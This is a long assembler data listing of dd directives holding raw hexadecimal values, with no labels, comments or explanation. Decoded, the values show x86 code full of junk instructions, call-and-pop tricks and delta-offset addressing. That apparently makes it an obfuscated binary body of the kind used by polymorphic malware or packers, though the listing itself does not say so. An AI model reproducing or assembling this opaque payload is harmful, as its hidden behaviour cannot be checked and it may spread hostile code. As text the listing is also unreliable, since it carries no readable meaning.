		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 8D8589C8h, 3062211h,	0B70F3C40h, 95890650h, 6222179h
		dd 8950508Bh, 22117D95h, 0F80506h, 508B0000h, 89D1030Ch
		dd 221BF595h, 8500306h,	0AC99589h, 8F640622h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 1875BD83h, 0F000622h, 2484h,	985C600h, 47062233h, 9AA7D268h
		dd 49B5FFD4h, 8D062226h, 257DBE85h, 6AD0FF06h, 89D0FF00h
		dd 2217FD85h, 0E8D38B06h, 14h, 0D1B7DBA7h, 7BB96A50h, 277EA77Ch
		dd 0B5FD8353h, 0F494A953h, 0C3B70F53h, 0C1815958h, 636Fh
		dd 0BBF2BF0Fh, 18AEh, 0FFC38B66h, 0C9B86631h, 8B665AFCh
		dd 71F281C3h, 600BD561h, 6053D88Bh, 81615E61h, 9B4CA0C2h
		dd 13870F25h, 0E9000000h, 0Eh, 2214C18h, 8BC744F9h, 43798A74h
		dd 0C281130Bh, 4027928Bh, 52F7B70Fh, 18F88B0h, 61E981F9h
		dd 0E824C58Ah, 7, 51A64908h, 8BC4C2E7h,	0C1815EF8h, 24C58A5Dh
		dd 4BC1BF0Fh, 18850Fh, 0C38B0000h, 1EE9h, 0D7E63E00h, 95D1A227h
		dd 1B7F1822h, 99F52B91h, 8B66ACE8h, 0FF75E9F8h,	8B95FFFFh
		dd 60747E22h, 1395BD8Bh, 0C08B0622h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 3FC35545h, 90D43CB3h, 9CC110FFh
		dd 0DDBD8339h, 62208h, 0BD830975h, 6220A21h, 50197400h
		dd 0B8C08B53h, 438h, 1B398589h,	9D8D0622h, 624BFC9h, 585BD3FFh
		dd 0A21BD83h, 74000622h, 0B8535017h, 438h, 1B398589h, 9D8D0622h
		dd 624BCB8h, 585BD3FFh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0C9C35242h, 0A51FA5A7h, 6AF28B66h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 3D2C353h, 562A1CBDh,	0B97C5733h, 57439807h, 0C08BF88Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 13C35545h
		dd 4FCA3D83h, 26E8156Eh, 6A000009h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 66B4C352h
		dd 0B514320Fh, 95898764h, 622133Dh, 34A58589h, 0F2E80622h
		dd 6A000008h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 5612C357h, 0CE9h, 0CB8BBC00h
		dd 735290F1h, 0A974C008h, 2DB96637h, 8985898Ch,	6A062206h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 8432C350h, 96E87999h, 8B000008h, 2212A9B5h
		dd 9D858906h, 6A06221Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 4C83C356h, 0E8742922h
		dd 865h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 17h,	21C35141h, 66825CADh, 661F60B9h, 8589C88Bh, 6221311h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 8EC35040h
		dd 129E67B4h, 813E8F9h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0C5823FC3h, 0A820Fh
		dd 8A0F0000h, 4, 574BBF66h, 4B98589h, 14E80622h, 45000000h
		dd 0BD6BCAF1h, 0E845B474h, 92A4E9C8h, 64631886h, 60DC4C25h
		dd 0E9D8B70Fh, 9, 277F148Ch, 4AEF949Ah,	0E85F61CBh, 7ADh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B2C35545h
		dd 1525EACh, 77271214h,	89F28B95h, 22128185h, 77BE806h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8B66D1C3h, 0E58589FBh, 89062201h,	220A9985h
		dd 74BE806h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 60ADFDC3h, 0F117660Ch, 6810F04h
		dd 23000000h, 222D09BDh, 85858906h, 6A06220Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 9AD3C352h, 5B4097E8h, 0EF5B58Bh, 0EAE80622h,	6A000006h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0F4CC352h, 148Ah,	0FE900h, 4DD10000h, 36E0CEE7h
		dd 0BE655F3Dh, 0B54AD9CCh, 0DD8589BAh, 0E806222Ah, 6A9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E0C35545h
		dd 5E9E1h, 89330000h, 895C4480h, 2225ED85h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0EA4658Dh, 7E8h, 0EC3C2B00h,	0E1B8462Bh, 0BE8h, 3BD7AA00h
		dd 6B7FA85Ah, 199D1D10h, 800Fh,	5F5E0000h, 219D8B60h, 89062230h
		dd 22193195h, 8B666106h, 623E8F3h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0F77EF7C3h
		dd 0FBDABE3h, 8589C9BFh, 622140Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 2AC35040h, 8881DCD0h, 8A0FBE66h
		dd 0CEE884B1h, 6A000005h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 7312C352h, 42C3FB48h
		dd 218589BAh, 60062200h, 0FCD0B70Fh, 59BE861h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0F85BB1C3h, 0E18D29B7h, 89062204h, 2219F585h, 0E8C7B506h
		dd 569h, 31B503h, 0D1810622h, 2BF1431Ah, 2A4D8589h, 6A0622h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0DDE614C3h, 89BD9B4Dh, 22206185h, 52BE806h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 29538DC3h, 223035BDh, 0D9858906h, 0F06220Eh,	58Dh, 0DE816600h
		dd 8B560F5Ch, 2231A9BDh, 0EAE85906h, 8B000004h,	2201B9BDh
		dd 0B5858906h, 6A06221Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0CD39C350h,	0D4A7C270h
		dd 0BE66F91Dh, 0B0C752h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 6C35545h, 19D955Ah, 0B60FCA2Dh, 56006AD8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 8962D283h, 22113585h, 4F36BE06h, 6BA3FADh, 66000000h
		dd 0C38BF28Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	79C35545h, 85388CE8h, 0CA8B663Dh, 6A04E8C1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 2620C357h, 2DCE2A44h, 667D5D01h, 6AE2F7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 40D2C9C3h
		dd 7E90Ch, 0B4E30000h, 12185F7Ah, 6AD82BA3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 12C8C350h, 0C3FB4873h, 8E9BA42h, 40000000h, 22052E87h
		dd 5036C528h, 0EE8h, 26F0AF00h,	63FF1914h, 2B0FD5FDh, 0FA4BD1Bh
		dd 683h, 0F525000h, 5F585A31h, 8B241C89h, 2219D1BDh
		dd 0C995FF06h, 6A062220h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 7D80C350h, 89BD8BD2h
		dd 0BE062200h, 717BD6F9h, 6E9BD33h, 6A5B0622h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 2FD2C350h, 75958D32h, 3062226h, 221A71BDh, 661A8906h
		dd 4289F28Bh, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 958DFF87h, 62226BDh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0AAC35141h, 8B417F9Eh
		dd 2234E5BDh, 14E806h, 0B3BC0000h, 86EB1F2Bh, 0D9F7C487h
		dd 90F2CD53h, 19D0ADEDh, 8D2B1203h, 6220489h, 0FC1A895Fh
		dd 6A044289h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0B5E8C352h, 2BD531D0h,	8B9A1749h
		dd 2211658Dh, 1958D06h,	0BE062221h, 70832B8Ah, 6A1A89h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 4ED257C3h, 89D7D2B6h, 6A0442h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 958DA4C3h, 6221511h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0B6C35040h
		dd 0B958040h, 58508F5Dh, 6830Fh, 8D8B0000h, 6221D45h, 6A1A89h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 20E6C1C3h, 0CC2D5BA4h, 6A044289h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0F97CC351h
		dd 8D894DEEh, 6221035h,	171958Dh, 870F0622h, 0Ah, 5E9h
		dd 7795600h, 0BD8B9893h, 6221319h, 6A1A89h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 98EBC3h, 9DBD0BAAh
		dd 81062208h, 0B5E153EFh, 442892Ch, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 56C35040h, 8F6D35F1h, 0DB81E1E0h
		dd 8E0Fh, 958D0000h, 62228C9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0F8C35242h,	2FAD9D89h, 1A890622h
		dd 0C27621BEh, 4428905h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 98C35545h, 2D8589B2h,	0F906221Eh, 10D9958Dh
		dd 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 895CB8C3h, 50006A1Ah, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 850F692Fh, 15h, 10E9h
		dd 0DBDBDB00h, 3 dup(0DBDBDBDBh), 44289DBh, 76D78166h
		dd 0FE8B66FBh, 145958Dh, 0BD2B0622h, 62215F1h, 6A1A89h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0CBFB10C3h, 2FD59D81h, 442893Fh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0EFC35646h,	0B70F470Ch, 0F5E9F9h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0CD8002C3h, 6890F11h, 8B000000h, 220F0D8Dh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 898DC357h, 0AE9BC86Ah,	0DE9h
		dd 51B89600h, 519C9901h, 266B259Dh, 8B66026Dh, 6A006AF3h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0BE0AC350h, 2914CC0Bh, 22317585h,	6A006A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0EAB3C356h, 2332CC29h, 8D01006Ah,	62232D9h
		dd 21158D23h, 95FF0622h, 6221F15h, 1ABDB589h, 6AC30622h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 9DD1C357h, 0AB119DA5h, 48A0F3Bh, 66000000h
		dd 8A3ADDBEh, 52006AC5h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 74965C41h, 0A49F8757h, 55DB58Bh
		dd 0C08B0622h, 19A99D89h, 0BD830622h, 62208DDh,	83097500h
		dd 220A21BDh, 19740006h, 0C08B5350h, 438B8h, 59858900h
		dd 8D06220Eh, 24C0309Dh, 5BD3FF06h, 21BD8358h, 6220Ah
		dd 53501774h, 438B8h, 59858900h, 8D06220Eh, 24BCD19Dh
		dd 5BD3FF06h, 0CFB70F58h, 0B0C98166h, 8DC08BD7h, 222CB585h
		dd 0E1BD8B06h, 90062231h, 0E6ECBB66h, 0BB665750h, 905F7FF9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 75C35646h
		dd 0F2349CE6h, 0AA8CF211h, 6AFC35h, 8B66006Ah, 11858DD9h
		dd 6A06264Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 1B70C356h, 2AA8BF40h, 0E97F800Ah
		dd 7, 0B239C21Ah, 833F6BDCh, 6A05C0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD8BB4C3h
		dd 6222A05h, 10E96090h,	0F5000000h, 12CE8949h, 0FF359C9h
		dd 8BE8959h, 605B1AA5h,	8B66F88Bh, 506161D9h, 90FE8B66h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 1EC35747h
		dd 0BF434D75h, 8F98501h, 6A0622h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 7EC35141h, 0A7C73069h, 6A38F183h
		dd 0FFB70F00h, 355595FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 5116A1C3h, 963EDCF7h
		dd 0A90F8D8Dh, 0BD8B0625h, 62220CDh, 14B9BD2Bh,	0D1FF0622h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C9C35646h
		dd 0B06BDF25h, 1335B589h, 0BF0F0622h, 0F5BD83DFh, 1062200h
		dd 93850Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0D24058C3h, 0BFC48F71h, 0C780C18Ch
		dd 8B026A8Fh, 820F50DFh, 4, 5FDF8B52h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0A227C357h, 182295D1h, 2B911B7Fh, 682F85BBh,	0F781663Eh
		dd 95FF68AAh, 6220285h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 5AC35646h, 8B3B1DCEh,	2225B9BDh, 0DA9E906h
		dd 0E80000h, 5D000000h,	4C1BED81h, 0B70F0626h, 0D18529FBh
		dd 8D062221h, 25934585h, 8B90FC06h, 6A9050F8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8AAAC351h, 9253685Fh, 0D192518Bh, 314D8509h,	0FF640622h
		dd 35h,	68E0F00h, 81000000h, 0BC42F9F7h, 25896466h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 27C35040h
		dd 3DE09B0Ah, 0B185FFD9h, 66062208h, 6A3A40BBh,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BDC5998h, 0A5B5FFF9h, 6A062234h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0B034C356h
		dd 3595FFEAh, 0E906221Ch, 126h,	20B18D31h, 0FE8B0622h
		dd 9D8B00B0h, 6221BF1h,	48BF70E6h, 0E4477220h, 0D1BD8B71h
		dd 3C062234h, 0FF830F61h, 81000000h, 8C1408E7h,	0C8B60F20h
		dd 2A299D8Bh, 6BA0622h,	8B000000h, 220B359Dh, 0C1C18B06h
		dd 8E0F04E8h, 0Dh, 8E9h, 246C1900h, 0B6D8E904h,	0E2F76674h
		dd 1411BD33h, 0C82B0622h, 0ACA3A9BFh, 78A0F45h,	0F000000h
		dd 187h, 0D18BF900h, 10E9h, 0AB5BFA00h,	0FDD4875h, 7402AAA3h
		dd 404DA063h, 0E9FE8B71h, 5, 0BA6173BBh, 75858B49h, 0F8062226h
		dd 3107C083h, 22184DBDh, 0C08306h, 473004BFh, 6840F2Bh
		dd 89000000h, 2231B99Dh, 0FD03B06h, 1083h, 0DB816600h
		dd 57E9D61Dh, 8B000000h, 2208B5BDh, 0A18D8B06h,	53062214h
		dd 148C0Fh, 0FE90000h, 0E8000000h, 0C7FC5AA7h, 54F633h
		dd 8BAAA216h, 835BB749h, 840F01E1h, 26h, 0A583FD8Ah, 62214A1h
		dd 0CE9FEh, 97010000h, 0C5704633h, 0C0A7BE8Eh, 9589CD1Dh
		dd 6222675h, 0E9F9h, 0B58D0000h, 625E17Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 3BC35747h, 0E781006Ah
		dd 20AD22ACh, 20F99D8Bh, 95FF0622h, 6223075h, 1D559D8Bh
		dd 0FCB90622h, 83000006h, 8BFCFCE1h, 222659BDh,	719D8B06h
		dd 0B8062220h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D3C35646h
		dd 63E172CDh, 9D89D22Bh, 6221EC5h, 0CE9h, 8D0F600h, 0F86DD4B7h
		dd 7F9187C9h, 0C233AD9Ah, 0D003E8D1h, 7504E983h, 0C78166F4h
		dd 6A024Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0AC225C3h, 0CF804FA8h, 0AD9D2BFDh, 0D062221h
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
		dd 98C35343h, 1BEC0C26h, 0B1B5894Ch, 0BB06220Eh, 76806D2h
		dd 33F1958Bh, 8B660622h, 318D8BDAh, 6A06222Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0C1B1C351h, 8B509EB3h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0B70F57FCh, 6A5FD9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 1CBD03C3h, 43BF562Ah
		dd 0E9180075h, 13h, 0A59DD17Ah,	3BAB119Dh, 4D3DECCEh, 0D635A07Bh
		dd 83BCB8BBh, 222C69BDh, 840F0006h, 82h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 16C35242h, 79D2987Dh
		dd 8D8B60BBh, 62207D5h,	11E960h, 8CD60000h, 0DB55084Eh
		dd 927F594Dh, 0BF9F881Fh, 9806A31h, 22081995h, 0B8616106h
		dd 0
		dd 0EF59589h, 8D8D0622h, 62250B1h, 0EE9h, 251F2500h, 7AFB655h
		dd 0F738BEB9h, 0FFE73AEDh, 870F60E1h, 3, 0FFEB70Fh, 480h
		dd 76B86600h, 0BD8361FFh, 62230E5h, 45840F00h, 0F000004h
		dd 18Eh, 0BD83F500h, 62230E5h, 4C840F01h, 0E8000004h, 11h
		dd 0B9B7D35Ch, 0FBD76A8Eh, 7CEA7C90h, 0F53B384h, 0D3EF81B9h
		dd 5B3EEDEDh, 30E5BD83h, 0F030622h, 3EC86h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 724DEA2Fh, 0E9871161h, 0C99D89E9h, 60062200h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 3CC35545h, 0D9F132DAh
		dd 0EADA8485h, 619D294Ah, 306220Eh, 221D39BDh, 0D98C6606h
		dd 0E180DF8Bh, 55006A04h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0F4541A94h, 0C90AD98Ah
		dd 105840Fh, 0DE80000h,	69000000h, 12EB5B3Ah, 0A86E4E4h
		dd 0D66C83B4h, 0A399D23h, 8B5B0622h, 2210B985h,	57EB8106h
		dd 332584DAh, 2208A585h, 0F88B6606h, 50EFB790h,	52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0EE836E95h, 0B20D3F7h, 5F16CF81h, 6AF57927h,	0DE8B6600h
		dd 5868F98Bh, 5201295Dh, 0E32DBF66h, 2434815Bh,	1365EA7h
		dd 2175BD8Bh, 95FF0622h, 6221E91h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0DFC35242h,	0EB858997h, 6A0625CAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 1EDCC352h, 6150AEABh, 311B501h, 0C1E90622h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 8573C351h, 0B8B0Fh, 6E90000h
		dd 5B000000h, 0A52882C8h, 75BD037Ah, 8B06221Ch,	25CAE385h
		dd 0E5B58906h, 0C706221Eh, 1800h, 71858900h, 8B062226h
		dd 25CAE7B5h, 458D0906h, 0E9062200h, 0Dh, 2FAC39B4h, 0B2FFE26Ch
		dd 208FAD52h, 65858BB7h, 6A06220Ah, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 193DC356h
		dd 689F976h, 8BD9BF0Fh,	2210B985h, 0DB816606h, 46895DF2h
		dd 45858904h, 50062200h, 1F55BB52h, 895F3608h, 6A2434h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 6E4064C3h, 0F60F380h, 381h, 0DA8B6600h, 2B61D38Bh, 222A95BDh
		dd 0E3B5FF06h, 660625CAh, 68A228BBh, 8542320Bh,	9A492BFh
		dd 24048139h, 7ADCD1F4h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 30C35545h, 521BEA15h,	57DA0BDCh, 0E98D899Dh
		dd 8D062228h, 25CAEB85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 3CDCFD68h, 8B667C2Fh
		dd 0BF6650DFh, 489598Bh, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0E8292E83h, 0FF98F5Ch
		dd 8D29608Fh, 62202F5h,	19658D8Bh, 0FF610622h, 221E9195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0AE967h,	0EADD0000h, 20BDFF13h, 257954D5h
		dd 0E585C761h, 3062230h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0ED5EC352h
		dd 0FF261D9Bh, 9D8B4DD6h, 6222CEDh, 1F820Fh, 0EE80000h
		dd 55000000h, 7B1D8EE2h, 515947D0h, 86BE5F30h, 6E9BCh
		dd 71B00000h, 0BD5F059Dh, 0EBBD835Fh, 625CAh, 67840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0E29F95C3h, 7E860h, 27ED0000h, 4972E558h
		dd 0D8B70FA8h, 0D3816658h, 56611EF9h, 8E19D8Bh,	0E95F0622h
		dd 40h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
		dd 0C5C35040h, 8B4A7FC1h, 22210DBDh, 0C305006h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 53006AF5h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 1AF990FEh, 1581BB07h, 0BD83214Eh, 62230E5h, 0A4850F03h
		dd 8B000004h, 2219C9BDh, 0EBBD8306h, 625CAh, 491840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 86C5B8C3h, 41B6449h, 0CAEBB5FFh, 9D890625h
		dd 6222D5Dh, 1DCD95FFh,	95890622h, 6221AD5h, 14E9h, 4FE73400h
		dd 1CA4C3C5h, 199EFC43h, 0C90C9991h, 2B20B383h,	0DFB58BEAh
		dd 6A0625CAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 5B4BC350h, 0E2798BFAh,	89CBBECAh
		dd 222685BDh, 6C7FC06h,	10001h,	38D0Fh,	0BF0F0000h, 8E996FFh
		dd 43000000h, 2391E3A5h, 50005316h, 9DBF6657h, 0F965F17h
		dd 0B5FFD9BFh, 625CAEBh, 0FFF8B70Fh, 22254195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0E9921D6Fh, 10h, 8540211Ah, 4E050275h, 1DC679E7h, 8D8AF0A3h
		dd 12E9h, 0A5F80900h, 44B347CAh, 0F2BEB361h, 0D1E09FA3h
		dd 8B33A64Bh, 25CADFB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 68747169h, 5960002Eh
		dd 8C0F5FD4h, 16h, 0EE8h, 0EC01FA00h, 80ED75BEh, 0BF6ED938h
		dd 569751B6h, 9E95B5Bh,	4E000000h, 74CB6E0h, 8D39F0Ch
		dd 1B2D858Bh, 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F5E80EC3h, 2A219D8Bh, 86890622h
		dd 0C4h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 14h,	4BC35646h, 33F1958Bh, 830F0622h, 0
		dd 6A04C283h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0EB72C357h, 0EB14288Bh, 4C559BA5h
		dd 205089F5h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	1AC35343h, 0DCA5D28Ch, 2119D03h, 830F0622h, 6
		dd 129DBD8Bh, 858D0622h, 625DEBCh, 13E9h, 0D593F200h, 0DDE311C5h
		dd 0A9AFD8A8h, 0F5B9DCE8h, 8D8FBDFh, 0B88689h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 22F376C3h, 55D1E296h, 8B66EDBAh, 0D88B66D9h,	6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0C455E3C3h, 32C59C4Dh, 0FF8161C2h, 25CAEBB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 5E3ED472h, 0F1BD568Ch, 6880F52h, 29000000h, 22129195h
		dd 8595FF06h, 6A062202h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0DC1CC356h,	0AE9B72Dh
		dd 0A4000000h, 0D9C3A8DEh, 9785EA17h, 58C0F57h,	0BF000000h
		dd 5C806A8Eh, 0FE85250h, 0E5000000h, 0E4AB1C4Ch, 185DEA1Fh
		dd 6CD27D80h, 5250F497h, 585A310Fh, 34895F5Fh, 91BD8B24h
		dd 8B062207h, 0EBB5FFDAh, 8B0625CAh, 221DFDBDh,	0F595FF06h
		dd 6A06221Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0BD53C356h, 0BD83A02Ch, 6221331h
		dd 36840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 2094C357h, 0C9E5A942h
		dd 8B66C7EAh, 7EBF96DEh, 5057909Eh, 8B9661B3h, 2235399Dh
		dd 0EBB5FF06h, 600625CAh, 48B2D18Bh, 4195FF61h,	8B06221Dh
		dd 222AA5BDh, 0EBB5FF06h, 6A0625CAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 3FDFC350h
		dd 0E30D2423h, 78AE2B9h, 2FC595FFh, 6A0622h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E9F4E2C3h
		dd 14h,	474479D5h, 792E935Dh, 0C2BAA86Fh, 0FCEB6D19h, 2E8EB5E6h
		dd 83D98B66h, 2202A9BDh, 840F0206h, 5Bh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 12C35343h, 8423932h
		dd 0CD9D8B39h, 8B062226h, 2200E185h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 4E0BD00Fh
		dd 0C99D8B4Dh, 0C6062208h, 0ACBB0000h, 0C72B891Eh, 22197D85h
		dd 6, 0F59D8B00h, 0E9062234h, 0FFFFF317h, 15BD8B51h, 5B062222h
		dd 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 44BD7BC3h, 0B3BBB13Bh, 0E9408BBBh, 6, 3A5AEACCh
